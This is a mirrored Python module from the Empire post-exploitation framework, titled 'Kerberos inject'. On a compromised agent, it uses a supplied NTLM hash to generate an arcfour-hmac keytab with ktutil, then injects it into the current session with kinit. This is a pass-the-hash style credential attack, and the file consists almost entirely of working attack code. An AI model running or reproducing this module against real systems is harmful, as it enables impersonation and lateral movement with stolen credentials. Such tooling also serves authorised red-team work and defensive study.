mirror of
https://github.com/EmpireProject/Empire
synced 2026-06-08 10:58:16 +00:00
xorrior
111 lines
3.7 KiB
Python
111 lines
3.7 KiB
Python
from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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# metadata info about the module, not modified during runtime
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self.info = {
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# name for the module that will appear in module menus
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'Name': 'Kerberos inject',
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# list of one or more authors for the module
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'Author': ['@424f424f'],
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# more verbose multi-line description of the module
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'Description': ('Generates a kerberos keytab and injects it into the current runspace.'),
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# True if the module needs to run in the background
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'Background' : False,
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# File extension to save the file as
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'OutputExtension' : None,
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# if the module needs administrative privileges
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'NeedsAdmin' : False,
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# True if the method doesn't touch disk/is reasonably opsec safe
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'OpsecSafe' : False,
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# the module language
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'Language' : 'python',
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# the minimum language version needed
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'MinLanguageVersion' : '2.6',
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# list of any references/other comments
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'Comments': ['Thanks to @passingthehash for bringing this up.']
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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# The 'Agent' option is the only one that MUST be in a module
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'Description' : 'Agent to execute module on.',
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'Required' : True,
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'Value' : ''
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},
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'Keytab' : {
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'Description' : 'Keytab file to create.',
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'Required' : True,
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'Value' : 'user.keytab'
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},
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'Principal' : {
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'Description' : 'The service principal name. user@HACKME.COM',
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'Required' : True,
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'Value' : ''
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},
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'Hash' : {
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'Description' : 'NTLM Hash for the principal.',
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'Required' : True,
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'Value' : ''
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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# During instantiation, any settable option parameters
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# are passed as an object set to the module and the
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# options dictionary is automatically set. This is mostly
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# in case options are passed on the command line
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if params:
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self, obfuscate=False, obfuscationCommand=""):
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keytab = self.options['Keytab']['Value']
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principal = self.options['Principal']['Value']
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ntlmhash = self.options['Hash']['Value']
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script = """
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import subprocess
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try:
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print "Creating Keytab.."
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cmd = 'ktutil -k %s add -p %s -e arcfour-hmac-md5 -w %s --hex -V 5'
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print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()
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print ""
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print "Keytab created!"
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except Exception as e:
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print e
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try:
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print "Injecting kerberos key.."
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cmd = 'kinit -t %s %s'
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print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()
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print ""
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print "Keytab injected into current session!"
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except Exception as e:
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print e
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""" %(keytab,principal,ntlmhash,keytab,principal)
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return script |